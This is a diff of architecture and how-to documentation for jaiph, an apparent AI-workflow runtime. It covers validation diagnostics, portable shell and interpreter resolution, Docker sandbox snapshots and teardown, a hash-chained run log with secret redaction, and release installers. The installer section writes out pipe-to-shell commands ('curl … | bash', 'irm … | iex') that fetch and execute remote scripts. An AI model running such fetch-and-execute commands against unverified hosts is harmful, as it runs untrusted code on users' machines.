raws, ref resolution (with the scope's `runRefExpect` for `call`, `RULE_REF_EXPECT` for `ensure_call`), arity (`args.length` vs declared params), and `var`-arg resolution against in-scope bindings via `validateArgVarRefs`. The sequence lives once in `validateCallable(expr, ctx)`; both `run` and `ensure` validators invoke it with a different ref expectation / target kind. There is no longer a separate `validateBareIdentifierArgs` helper, no per-site repetition of the five-step sequence, and no place re-parses an `args: string` payload by splitting on commas or rescanning quotes. - **Diagnostics collector (recoverable errors).** The validator no longer fails fast on the first user-level error. Every recoverable check appends to a `Diagnostics` collector (`src/diagnostics.ts`) via `diag.error(file, line, col, code, msg)`, which records a `JaiphDiagnostic` and short-circuits the current validation unit through a `BailoutError`. Each top-level unit (per-import block, per-rule walk, per-rule step, per-workflow walk, per-workflow step, per-test-block step, per-channel route) is wrapped in `diag.capture(fn)`, which absorbs the bailout (and any thrown `jaiphError` from leaf helpers like `validate-ref-resolution.ts` / `validate-string.ts` / `validate-prompt-schema.ts` / `shell-jaiph-guard.ts`) so the next sibling unit still runs. `collectDiagnostics(graph)` walks every module and returns the populated collector; the legacy **`validateReferences(graph)`** is now a thin wrapper that throws the first sorted diagnostic via **`jaiphError`** so graph-level callers and existing per-error tests keep working; **`emitScriptsForModuleFromGraph`** still calls **`validateModule(ast, graph)`** per module before emit. `Diagnostics.sorted()` returns errors ordered by `(file, line, col)`; `formatLines()` renders the standard `path:line:col CODE message` shape. A grep test (`src/transpile/diagnostics-collector.test.ts`) pins the migration: `validate.ts` + `validate-step.ts` hold **zero** `throw jaiphError(` sites, and the remaining `throw jaiphError(` call sites under `src/` are confined to a documented allowlist — fatal aborts in the parser (`src/parse/core.ts`), the loader (`src/transpile/module-graph.ts`), and the test-file shape check (`src/cli/commands/test.ts`); the legacy bridge in `src/diagnostics.ts`; and the four leaf validation helpers above, each of which has every caller wrapped in `diag.capture(...)`. @@ -72,8 +72,11 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - **Node Workflow Runtime (`src/runtime/kernel/node-workflow-runtime.ts`)** - `NodeWorkflowRuntime` interprets the AST directly: walks workflow steps, manages scope/variables, delegates prompt and script execution to kernel helpers, handles channels/inbox/dispatch, owns the frame stack and heartbeat, and writes run artifacts. + - **Script steps execute via an explicit interpreter, not the shebang + exec bit.** `executeScript` reads the emitted script's shebang line, resolves the interpreter through **`resolveInterpreterFromShebang`** (`src/parse/script-bash.ts`) — `#!/usr/bin/env ` → spawn ``, an absolute-path shebang → spawn that path, a missing shebang → default `bash` — and spawns ` `. This is portable: it does not depend on the OS honoring the shebang (Windows honors neither shebang nor exec bit) or on the file's `0o755` bit (`noexec` mounts strip it). The shebang line is **still** written into every emitted script (they stay directly executable by hand on POSIX), but the runtime never relies on it being honored. A spawn `ENOENT` from a missing interpreter surfaces as a diagnosable Jaiph error naming the interpreter rather than a raw `ENOENT`. + - **Inline shell lines resolve their shell through one portable seam.** A single-line shell step (`executeShLine`) and CLI hook commands (`src/cli/run/hooks.ts`) both run under POSIX `sh -c`, but the shell itself is resolved through **`resolveShell()`** (`src/runtime/kernel/portability.ts`) rather than a hardcoded `spawn("sh", …)`. On POSIX this is bare `sh`; on **`win32`**, where there is no `sh` on the default `PATH`, it discovers Git for Windows' bundled `sh.exe` — first on `PATH`, then in the standard install layouts (`/bin/sh.exe`, `/usr/bin/sh.exe`) under each known root — memoizes the result for the process, and throws a diagnosable **`E_NO_POSIX_SHELL`** error naming Git for Windows if none is found. Inline lines are **never** translated to `cmd`/PowerShell: Jaiph's shell semantics are POSIX `sh` on every platform, so the seam only ever chooses *which* `sh` to invoke, never rewrites the command — otherwise workflows would stop being portable. `resolveShell()` is the single call site for the POSIX shell; no other `spawn("sh", …)` remains in `src/`. - One private `evaluateExpr(scope, expr, …)` dispatcher handles every value position — `const` / `return` / `send` / `say` step handlers and the body of every `exec` step delegate to it. It switches on `Expr.kind` to run the managed call (`call` / `ensure_call` / `inline_script`) or `prompt`, walks a `match` expression, or interpolates a `literal` value through `interpolateWithCaptures`. There is no fan-out across "managed sidecar vs literal value" because that branch is gone from the AST. - **Prompt transport-failure retry.** `runPromptStep` wraps each `executePrompt` invocation in a retry loop driven by the schedule resolved through `src/runtime/kernel/prompt-retry.ts` (default `15s → 1m → 10m → 30m → 2h`, six total attempts; configurable via `JAIPH_PROMPT_RETRY` / `JAIPH_PROMPT_RETRY_DELAYS`). Only the transport path (non-zero exit from the backend) is retried; invalid JSON and schema-validation failures return `{ ok: false }` on the first attempt. Each attempt emits its own `PROMPT_START` / `PROMPT_END` and `STEP_START` / `STEP_END`; each failure (and the final termination) logs a `LOGERR` through `RuntimeEventEmitter.emitLog`. The backoff sleep is injectable (`sleep` constructor option) and interruptible via `runtime.abort()` / an internal `AbortController` so SIGINT and in-process aborts halt the loop without further backend calls. Retry composes **below** `recover` / `catch` — backoff is exhausted before the failure reaches the recover loop. See [Configuration — Prompt retry on transport failure](configuration.md#prompt-retry-on-transport-failure). + - **Idle-step warnings.** While a leaf step (script or prompt) produces no stdout/stderr, the runtime emits a `LOGWARN` on a fixed cadence — `JAIPH_STEP_IDLE_WARN_SEC` (default 180s, so 180s / 360s / 540s / …) — through `createStepIdleOutputWarn` (`src/runtime/kernel/step-idle-warn.ts`); the next output chunk resets the cadence. This surfaces a stalled backend or long-running command without failing the run. - Three sibling modules under `src/runtime/kernel/` carry concerns that used to live inline in the runtime file. Dependency direction is one-way (orchestrator → helpers/emitter/mock); no circular imports back. - **`runtime-arg-parser.ts`** — stateless interpolation and call-argument parsing (`interpolate`, `parseInlineCaptureCall`, `commaArgsToInterpolated`, `parseArgsRaw`, `parseInlineScriptAt`, `parseManagedArgAt`, `parseArgTokens`, `stripOuterQuotes`, `parsePromptSchema`, `sanitizeName`, `nowIso`) plus shared constants and the `ParsedArgToken` / `PromptSchemaField` types. Direct unit tests live in `runtime-arg-parser.test.ts`. - **`runtime-event-emitter.ts`** — `RuntimeEventEmitter` owns **`__JAIPH_EVENT__`** writes on stderr (step/log traffic when not suppressed), **`run_summary.jsonl`** appends for the wider timeline (including workflow/prompt records that are summary-first), plus step/prompt sequence counters. Constructed with `{ runId, runDir, env, getFrameStack, getAsyncIndices, suppressLiveEvents? }`; the runtime delegates structured emission to it. The optional `suppressLiveEvents` flag (forwarded from `NodeWorkflowRuntime`'s `suppressLiveEvents` option) skips the live stderr **`__JAIPH_EVENT__`** lines while **`appendRunSummaryLine`** keeps updating **`run_summary.jsonl`** — used by in-process callers like the test runner that share stderr with `node --test` reporter output. The CLI's spawned **`__workflow-runner`** child does not set it, so production runs stream events to stderr as before. @@ -90,8 +93,9 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - `jaiph format` rewrites `.jh` / `.test.jh` files into canonical style. `emitModule(ast, trivia, opts?)` reads the semantic AST together with the parallel **`Trivia`** store ([Trivia (CST layer)](#trivia-cst-layer)) to round-trip leading comments, top-level order, `config` body sequence, `"""..."""` and `bareSource` forms, the original quotedness of top-level `const` values (`EnvDeclDef.wasQuoted` — `true` for `"…"` / `"""…"""` sources, `undefined` for bare tokens — so a quoted value is never silently rewritten as bare based on whether it contains a space), and prompt / script body discriminators. Step emission switches on `WorkflowStepDef.type` (8 variants) and an `emitExpr` helper switches on `Expr.kind` (8 kinds) — there are no dual code paths for "managed sidecar vs literal value" because that branch was removed from the AST. Call arguments render straight off the typed `Arg[]` — `var` → bare name, `literal` → raw — so the formatter no longer re-parses any args string or consults a `bareIdentifierArgs` shadow field. Pure data→text emitter; no side-effects beyond file writes. Round-trip is bit-for-bit on every fixture under `examples/` and `test-fixtures/golden-ast/fixtures/` — pinned by `src/format/roundtrip.test.ts`, which asserts `parse → format → parse → format` converges in one step on every fixture. - **Docker runtime helper (`src/runtime/docker.ts`)** - - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image; every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker’s default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. - - **Workspace immutability:** By default Docker runs cannot modify the host workspace. The host checkout is mounted read-only (overlay) or as a disposable clone (copy); `/jaiph/workspace` is sandbox-local and discarded on exit. The only host-writable path is `/jaiph/run` (run artifacts). Workflows that need to capture workspace changes should write files (for example a `git diff` into a temp path) and publish them with `artifacts.save()`. The explicit opt-in **inplace** mode (truthy **`JAIPH_INPLACE`** — `1` or `true`, or `jaiph run --inplace`) breaks this contract on purpose — the host workspace itself is bind-mounted read-write so the run's edits persist live on the host, with the rest of the sandbox (caps, env allowlist, mount set) unchanged. See [Sandboxing](sandboxing.md) for the full contract and [Save artifacts](artifacts.md). + - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker’s default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. + - **Workspace immutability:** By default Docker runs cannot modify the host workspace. In the default **snapshot** mode the host takes a writable point-in-time clone of the workspace at run start (`/sandbox`, via `cloneWorkspaceForSandbox` in `src/runtime/docker.ts`) and bind-mounts that clone read-write at `/jaiph/workspace`; the live host checkout is never mounted, and the clone is discarded on exit. The clone content is **git-defined**: for a git workspace it is exactly `git ls-files --cached --others --exclude-standard` plus `.git/` wholesale (gitignored files — `node_modules/`, `.env`, build output — are absent, never scanned); git is the sole ignore oracle (no reimplemented gitignore matcher). A non-git workspace (no `.git` at the root, or `git ls-files` fails) falls back to copying everything. See [Sandboxing — What the snapshot contains](sandboxing.md#snapshot-content). The only host-writable path is `/jaiph/run` (run artifacts), and the snapshot source under it is masked from the container with a tmpfs at `/jaiph/run/sandbox`. Workflows that need to capture workspace changes should write files (for example a `git diff` into a temp path) and publish them with `artifacts.save()`. The explicit opt-in **inplace** mode (truthy **`JAIPH_INPLACE`** — `1` or `true`, or `jaiph run --inplace`) breaks this contract on purpose — the host workspace itself is bind-mounted read-write so the run's edits persist live on the host, with the rest of the sandbox (caps, env allowlist, mount set) unchanged. See [Sandboxing](sandboxing.md) for the full contract and [Save artifacts](artifacts.md). + - **Container teardown on interrupt / timeout:** `spawnDockerProcess` assigns every container a deterministic `--name` (`jaiph-run-`, emitted immediately after `run --rm`) so it can be force-removed by name later. A `docker run --rm` container can outlive its host `docker` client (Docker Desktop / detached behaviour), so killing the client's process tree alone does not guarantee the container stops. On SIGINT/SIGTERM the run's `onSignalCleanup` calls **`stopDockerRunOnSignal`**, and the run-timeout kill (`E_TIMEOUT`) calls **`stopDockerContainer`** directly — both run `docker rm -f ` (best-effort, bounded 10 s), which stops *and* removes the `--rm` container in one step so it disappears from `docker ps` within a bounded window. Order matters: the container is stopped **before** `cleanupDocker` removes the host workspace snapshot at `/sandbox`, because that snapshot is bind-mounted into the container. The MCP per-call cancel path (`src/cli/mcp/call.ts`) applies the same teardown — `stopDockerContainer` then `cancelRunProcess`. Both sandbox modes (snapshot, inplace) share this contract. See [Sandboxing — interrupting a Docker run](sandboxing.md#interrupting-a-docker-run). ## Local module graph {: #local-module-graph} @@ -99,9 +103,9 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* The toolchain has one canonical representation — **`ModuleGraph`** — for "all `.jh` modules reachable from an entry point, parsed once." The same graph is used by the validator, the script emitter, and the runtime; on the default local `jaiph run` path it also crosses the parent CLI → child runner boundary so each reachable `.jh` is parsed exactly **once** per run. - **`loadModuleGraph(entryFile, workspaceRoot?)`** (`src/transpile/module-graph.ts`) walks the entry plus its transitive `import` edges through `resolveImportPath` and returns `{ entryFile, workspaceRoot?, modules: Map }> }`. **`/`** imports (for example `jaiphlang/queue`) resolve through the workspace library fallback under `.jaiph/libs/` when a relative path does not exist. This is the **only** routine that reads `.jh` sources from disk; `parsejaiph(source, filePath)` itself is I/O-pure. -- **`src/cli/commands/run.ts`** calls `loadModuleGraph` once after path normalization. The entry AST is reused for **`metadataToConfig(mod.metadata)`** (banner / `runtime` config). The same graph is passed to **`buildScriptsFromGraph(graph, outDir)`**, which calls **`emitScriptsForModuleFromGraph`** per reachable module; each call runs **`validateModule(ast, graph)`** against the in-memory ASTs. +- **`src/cli/commands/run.ts`** calls `loadModuleGraph` once after path normalization. The entry AST is reused for the banner / `runtime` config via **`metadataToConfig(resolveModuleMetadata(mod, env))`** — `resolveModuleMetadata` resolves the `config { … }` block's interpolation before `metadataToConfig` flattens it. The same graph is passed to **`buildScriptsFromGraph(graph, outDir)`**, which calls **`emitScriptsForModuleFromGraph`** per reachable module; each call runs **`validateModule(ast, graph)`** against the in-memory ASTs. - **Process boundary.** The CLI serializes the graph with **`writeModuleGraph`** to **`/.jaiph-module-graph.json`** (deterministic JSON: entries sorted by absolute path; ASTs included verbatim). It points the spawned **`__workflow-runner`** child at the file through the internal env var **`JAIPH_MODULE_GRAPH_FILE`**. The runner reads it back with **`readModuleGraph`** and passes the result to **`buildRuntimeGraph(graph)`**, which produces the runtime view (with **`import script`** stub injection) without touching disk. Cross-module workflow / rule / script resolution matches the on-disk load path. -- **Scope of the env-var hand-off.** `JAIPH_MODULE_GRAPH_FILE` is set **only** when the host CLI spawns the local **`__workflow-runner`** child with Docker sandboxing disabled (`dockerConfigForBanner.enabled === false`). It is **not** set on these paths, which load the graph from disk inside the runner instead: +- **Scope of the env-var hand-off.** `JAIPH_MODULE_GRAPH_FILE` is set on the host (non-Docker) execution paths that spawn the local **`__workflow-runner`** child: interactive **`jaiph run`** when Docker sandboxing is disabled (`dockerConfigForBanner.enabled === false`), and the MCP tool-call path (`src/cli/mcp/call.ts`). It is **not** set on these paths, which load the graph from disk inside the runner instead: - **`jaiph run --raw`** — `runWorkflowRaw` (`src/cli/commands/run.ts`) calls `buildScripts` directly without writing the graph file; the runner uses inherited stdio and falls back to `loadModuleGraph` from the source file. - **Docker `jaiph run`** — the host writes the graph file under `outDir`, but skips the env var because the inner container command is `jaiph run --raw …` and the host bind-mount layout does not plumb the cache file inside the container. - **`jaiph test`** — `runSingleTestFile` builds the graph in `src/cli/commands/test.ts` and threads it through `runTestFile(graph, ...)` directly (no env var needed; same process). @@ -123,7 +127,7 @@ User-visible contracts (banner, hooks, run artifacts, `run_summary.jsonl`, `retu ### CLI responsibilities - Parse, validate, and launch workflows/tests. -- Own **process spawn** for `jaiph run` (detached workflow runner process group for signal propagation). +- Own **process spawn** for `jaiph run` (detached workflow runner process group for signal propagation). Terminating a run means terminating the whole tree — the detached leader plus the agent backends and script children it spawned — routed through **`killProcessTree(pid, signal)`** (`src/runtime/kernel/portability.ts`), the single sanctioned home for group kills. On POSIX it signals the leader's process group with **`process.kill(-pid, signal)`**, falling back to a per-process kill if the group no longer exists (`ESRCH`). On **`win32`** a negative-PID group kill throws and a per-process kill would orphan the children, so it force-kills the tree with **`taskkill /pid /T /F`** (spawned, not shelled), degrading to a per-process kill if `taskkill` cannot be launched. Because `taskkill /F` is already forceful, a follow-up `SIGKILL` escalation after a `SIGTERM`/`SIGINT` is a **documented no-op** on `win32`. All group-kill call sites route through this helper: run teardown (`src/cli/run/lifecycle.ts`), the prompt watchdog (`src/runtime/kernel/prompt.ts`), and the Docker run-timeout kill (`src/runtime/docker.ts`). - Parse live runtime events; render terminal progress; trigger hooks — skipped in **`jaiph run --raw`** (child stdio inherited; see [CLI](cli.md#jaiph-run)). ## Contracts @@ -154,6 +158,31 @@ The runtime persists step captures and the event timeline under a UTC-dated hier Step sequence numbers are monotonic and unique per run: `RuntimeEventEmitter` allocates them in memory (`allocStepSeq`) when opening each step’s capture files (`%06d-.out|.err`). There is no `.seq` file in the run directory. +#### Hash chain + +Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `prev_hash` field: the SHA-256 (hex) of the previous raw JSON line, or `"000…000"` (64 zeroes, `CHAIN_GENESIS`) for the first line. Rewriting or truncating any line invalidates all subsequent hashes, making tampering detectable. + +To verify a run’s chain: + +```ts +import { verifyRunSummaryChain } from "src/runtime/kernel/emit"; +const { ok, error } = verifyRunSummaryChain(".jaiph/runs///run_summary.jsonl"); +``` + +`verifyRunSummaryChain` reads each line, checks that `prev_hash` matches `sha256hex(previousLine)`, and returns `{ ok: false, error }` at the first broken link. The chain is defined over the full raw JSON string as written (including the `prev_hash` field itself). + +#### Secret redaction + +Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it redacts values of **credential environment variables** — keys whose name (case-insensitive) ends in `_API_KEY`, `_TOKEN`, `_SECRET`, or `_API_TOKEN`, and whose value is at least 8 characters. Each matching value is replaced with `[REDACTED]` wherever it appears in: + +- the reconstructed prompt body (`prompt_text`) and the resolved values of `${var}` references persisted alongside it (`emitPromptStepStart`), +- the `preview` field of `PROMPT_START` / `PROMPT_END` events (`emitPromptEvent`), +- the embedded stdout/stderr excerpts (`out_content` / `err_content`) of every `STEP_END` — script and prompt steps alike (`emitStep`). + +This covers backend API keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY` (the same names on the [Docker env allowlist](sandboxing.md)). + +Redaction applies **only to the copies embedded in `run_summary.jsonl`**. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted — treat them, and the run directory as a whole, as sensitive. + ## Channels and hooks in context Channels are validated at compile time (`validateReferences` / send RHS rules) and executed via in-memory queue and dispatch in the Node runtime; durable **`inbox/`** files under the run directory appear only for **routed** sends (audit — see [Inbox & Dispatch](inbox.md)). Hooks are CLI-only: they load from `hooks.json` and run as shell commands with JSON on stdin, driven by the same `__JAIPH_EVENT__` stream as the progress UI — see [Hooks](hooks.md). @@ -168,13 +197,13 @@ Authoring rules, fixtures, and mock syntax for `*.test.jh` are documented in [Te ## CLI progress reporting pipeline -The progress UI combines a **static** step tree derived from the workflow AST (`src/cli/run/progress.ts`) with **live** updates from the runtime event stream. Event wiring: `src/cli/run/events.ts` and `src/cli/run/stderr-handler.ts` parse `__JAIPH_EVENT__` lines; `src/cli/run/emitter.ts` bridges into the renderer. Line-oriented formatting (`formatStartLine`, `formatHeartbeatLine`, `formatCompletedLine`) lives primarily in `src/cli/run/display.ts`, which shares some display helpers with `progress.ts`. Async branch numbering (subscript ₁₂₃… prefixes) is driven by `async_indices` on step and log events — the runtime propagates a chain of 1-based branch indices through `AsyncLocalStorage`, and the stderr handler renders them at the appropriate indent level. `const` steps whose `Expr` value is `kind: "match"` are walked for nested `run` / `ensure` arms; matched targets appear as child items in the step tree (for example `▸ workflow my_flow` or `▸ rule my_rule` under the `const` row). This pipeline does not apply to **`jaiph run --raw`**. +The progress UI combines a **static** step tree derived from the workflow AST (`src/cli/run/progress.ts`) with **live** updates from the runtime event stream. Event wiring: `src/cli/run/events.ts` and `src/cli/run/stderr-handler.ts` parse `__JAIPH_EVENT__` lines; `src/cli/run/emitter.ts` bridges into the renderer. Line-oriented formatting (`formatStartLine`, `formatHeartbeatLine`, `formatCompletedLine`) lives primarily in `src/cli/run/display.ts`, which shares some display helpers with `progress.ts`. Async branch numbering (subscript ₁₂₃… prefixes) is driven by `async_indices` on step and log events — the runtime propagates a chain of 1-based branch indices through `AsyncLocalStorage`, and the stderr handler renders them at the appropriate indent level. Whether ANSI SGR colors are emitted is a single policy — **`canUseAnsi()`** (`src/runtime/kernel/portability.ts`) returns `isTTY && NO_COLOR` unset — and every color emission site (`src/cli/commands/run.ts`, `src/cli/run/progress.ts`, `src/cli/shared/errors.ts`) routes its gate through it rather than re-deriving `isTTY && NO_COLOR` locally. On Windows 10+ Node enables console VT processing automatically, so `isTTY` is a sufficient ANSI proxy with no extra win32 branch. `const` steps whose `Expr` value is `kind: "match"` are walked for nested `run` / `ensure` arms; matched targets appear as child items in the step tree (for example `▸ workflow my_flow` or `▸ rule my_rule` under the `const` row). This pipeline does not apply to **`jaiph run --raw`**. ## Distribution: Node vs Bun standalone -- **Development / npm:** `npm run build` runs `npm run embed-assets` (regenerates **`src/runtime/embedded-assets.ts`** from `runtime/overlay-run.sh` and `docs/jaiph-skill.md`, and **`src/version.ts`** from `package.json`'s `version` field), then `tsc`, copies **`src/runtime/`** to **`dist/src/runtime/`** (kernel, `docker.ts`, etc.), and copies **`runtime/overlay-run.sh`** from the repo root into **`dist/src/runtime/overlay-run.sh`**. The published `jaiph` bin is **`node dist/src/cli.js`**. -- **Standalone:** `npm run build:standalone` runs the same build, copies **`dist/src/runtime`** to **`dist/runtime`** beside the binary, then `bun build --compile ./src/cli.ts --outfile dist/jaiph`. Workflow launch self-spawns via **`process.execPath`** using the internal **`__workflow-runner`** argv marker (`src/runtime/kernel/workflow-launch.ts` + `src/cli/index.ts`): the node build invokes `node dist/src/cli.js __workflow-runner …`; the bun-compiled binary invokes itself, `jaiph __workflow-runner …`. The reserved marker is excluded from `--help`/usage and the file-shorthand path. `overlay-run.sh` and `docs/jaiph-skill.md` are also embedded base64 inside the executable via **`src/runtime/embedded-assets.ts`**, so the standalone artifact is **fully self-contained** — no sibling `runtime/` or `docs/` files required. The displayed `jaiph --version` string is sourced from the generated **`src/version.ts`** (codegen'd from `package.json` by `embed-assets`), so the literal is statically baked into both the `tsc` and the `bun build --compile` outputs without a runtime read of `package.json`. **Bash** (or whatever shebang your `script` steps use) is still required on the host for script subprocesses. Ship **`dist/jaiph`** alone, or with **`dist/runtime`** alongside it for parity with the npm layout (table in [Contributing](contributing.md)). -- **Release artifacts:** `.github/workflows/release.yml` cross-compiles the standalone binary for **darwin/linux × arm64/x64** on **`v*`** tag pushes and on pushes to the **`nightly`** branch, generates a `SHA256SUMS` covering the four binaries, runs a `--version` sanity gate on the linux-x64 output, and uploads the five assets to the matching GitHub Release (stable tag or rolling **`nightly`** prerelease). Asset filenames are fixed by the installer contract — see [Contributing — Release asset naming contract](contributing.md#release-asset-naming-contract). +- **Development / npm:** `npm run build` runs `npm run embed-assets` (regenerates **`src/runtime/embedded-assets.ts`** from `docs/jaiph-skill.md`, and **`src/version.ts`** from `package.json`'s `version` field), then `tsc`, and copies **`src/runtime/`** to **`dist/src/runtime/`** (kernel, `docker.ts`, etc.). The published `jaiph` bin is **`node dist/src/cli.js`**. +- **Standalone:** `npm run build:standalone` runs the same build, copies **`dist/src/runtime`** to **`dist/runtime`** beside the binary, then `bun build --compile ./src/cli.ts --outfile dist/jaiph`. Workflow launch self-spawns via **`process.execPath`** using the internal **`__workflow-runner`** argv marker (`src/runtime/kernel/workflow-launch.ts` + `src/cli/index.ts`): the node build invokes `node dist/src/cli.js __workflow-runner …`; the bun-compiled binary invokes itself, `jaiph __workflow-runner …`. The reserved marker is excluded from `--help`/usage and the file-shorthand path. `docs/jaiph-skill.md` is also embedded base64 inside the executable via **`src/runtime/embedded-assets.ts`**, so the standalone artifact is **fully self-contained** — no sibling `runtime/` or `docs/` files required. The displayed `jaiph --version` string is sourced from the generated **`src/version.ts`** (codegen'd from `package.json` by `embed-assets`), so the literal is statically baked into both the `tsc` and the `bun build --compile` outputs without a runtime read of `package.json`. **Bash** (or whatever shebang your `script` steps use) is still required on the host for script subprocesses. Ship **`dist/jaiph`** alone, or with **`dist/runtime`** alongside it for parity with the npm layout (table in [Contributing](contributing.md)). +- **Release artifacts:** `.github/workflows/release.yml` cross-compiles the standalone binary for **darwin/linux × arm64/x64** plus **windows x64** (`jaiph-windows-x64.exe`; Bun has no windows arm64 target) on **`v*`** tag pushes and on pushes to the **`nightly`** branch, generates a `SHA256SUMS` covering the five binaries, signs it with **minisign** (`SHA256SUMS.minisig`), runs `--version` sanity gates on the linux-x64 and windows-x64 outputs, and uploads the seven assets (five binaries + `SHA256SUMS` + `SHA256SUMS.minisig`) to the matching GitHub Release (stable tag or rolling **`nightly`** prerelease). Asset filenames are fixed by the installer contract — see [Contributing — Release asset naming contract](contributing.md#release-asset-naming-contract). Two installers consume these assets: the POSIX **`docs/install`** (`curl … | bash`, darwin/linux; rejects Windows and points at the PowerShell one) and **`docs/install.ps1`** (`irm https://jaiph.org/install.ps1 | iex`, Windows x64), which downloads `jaiph-windows-x64.exe`, verifies it against `SHA256SUMS` with `Get-FileHash`, and installs to `%LOCALAPPDATA%\jaiph\bin`. ## Mermaid architecture diagram diff --git a/docs/artifacts.md b/docs/artifacts.md index 70952d01..0b44017e 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -9,7 +9,7 @@ redirect_from: # Save artifacts -This recipe publishes files from a workflow into the run's `artifacts/` directory under the run logs root (`.jaiph/runs/` by default). That is the supported export path when Docker sandboxing is on — in the default overlay and copy modes, workspace edits are discarded at container exit, but anything copied into `artifacts/` remains on the host. +This recipe publishes files from a workflow into the run's `artifacts/` directory under the run logs root (`.jaiph/runs/` by default). That is the supported export path when Docker sandboxing is on — in the default snapshot mode, workspace edits are discarded at container exit, but anything copied into `artifacts/` remains on the host. The runtime always creates an `artifacts/` directory under the run log directory and exposes its absolute path as `JAIPH_ARTIFACTS_DIR`. The `jaiphlang/artifacts` library is the canonical way to copy files into that directory; you can also write there directly from a `script` step. @@ -82,8 +82,31 @@ Replace `` with `.jaiph/runs` when `JAIPH_RUNS_DIR` is unset, or with `artifacts.save(...)` exits with a failure when the input list is empty after trimming, when any listed path is missing or not a regular file, or when `JAIPH_ARTIFACTS_DIR` is unset — wrap the call in `recover` / `catch` if you want the workflow to tolerate that. +## Verify a run's integrity chain + +Every line the runtime appends to `run_summary.jsonl` carries a `prev_hash` field — the SHA-256 of the previous raw line (or 64 zeroes for the first line). Rewriting or truncating any line breaks the hash of every line after it, so a verifier can detect tampering with a run's audit trail. See [Architecture — Hash chain](architecture.md#durable-artifact-layout) for the format. + +To check a run directory, run this self-contained Node script against its `run_summary.jsonl` (no jaiph build required — it recomputes the chain the same way the runtime does): + +```bash +node -e ' + const fs = require("fs"), crypto = require("crypto"); + const lines = fs.readFileSync(process.argv[1], "utf8").split("\n").filter(l => l.trim()); + let expected = "0".repeat(64); + for (let i = 0; i < lines.length; i++) { + if (JSON.parse(lines[i]).prev_hash !== expected) { + console.error(`line ${i + 1}: chain broken`); process.exit(1); + } + expected = crypto.createHash("sha256").update(lines[i], "utf8").digest("hex"); + } + console.log(`chain intact (${lines.length} lines)`); +' //-/run_summary.jsonl +``` + +A clean chain prints `chain intact (N lines)` and exits `0`; a rewritten or truncated file prints the first broken line number and exits `1`. Inside the repo you can call the exported `verifyRunSummaryChain(filePath)` helper (`src/runtime/kernel/emit.ts`) instead, which returns `{ ok, error }`. + ## Related -- [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the full run directory tree, including where `artifacts/` sits. +- [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the full run directory tree, including where `artifacts/` sits, plus the hash chain and secret-redaction contracts for `run_summary.jsonl`. - [Use & publish a library](/how-to/libraries) — installing `jaiphlang/artifacts` and writing your own libraries. -- [Sandboxing — The three sandbox modes](sandboxing.md#the-three-sandbox-modes) — overlay and copy discard workspace edits; artifacts persist on the host in every mode. +- [Sandboxing — The two sandbox modes](sandboxing.md#the-three-sandbox-modes) — snapshot mode discards workspace edits; artifacts persist on the host in every mode. diff --git a/docs/assets/css/style.css b/docs/assets/css/style.css index 0fa311ad..9d325c73 100644 --- a/docs/assets/css/style.css +++ b/docs/assets/css/style.css @@ -696,6 +696,41 @@ pre code .code-line::before { display: block; } +.os-switch { + display: flex; + gap: 0.4rem; + margin-bottom: 0.75rem; +} + +.os-switch-button { + border: 1px solid var(--tab-border); + border-radius: 8px; + background: var(--tab-bg); + color: var(--muted); + font-size: 0.8rem; + font-weight: 600; + font-family: "Fira Code", monospace; + padding: 0.3rem 0.7rem; + cursor: pointer; +} + +.os-switch-button.is-active { + background: var(--tab-active-bg); + border-color: var(--tab-active-border); + color: var(--tab-active-color); +} + +/* Platform variants: static markup shows the POSIX (bash) variant; JS reveals + the Windows variant on demand (and by default for Windows visitors). Without + JS the POSIX variant stays visible and the Windows one remains in the markup. */ +.os-variant { + display: none; +} + +.os-variant.is-active { + display: block; +} + .primitive-list { margin: 0.5rem 0 0; } diff --git a/docs/assets/js/main.js b/docs/assets/js/main.js index 6c9e91ef..8521742e 100644 --- a/docs/assets/js/main.js +++ b/docs/assets/js/main.js @@ -732,6 +732,51 @@ }); } + /** + * True when the visitor is on Windows. Prefers the modern + * navigator.userAgentData.platform, falling back to navigator.platform. + */ + function isWindowsPlatform() { + var platform = 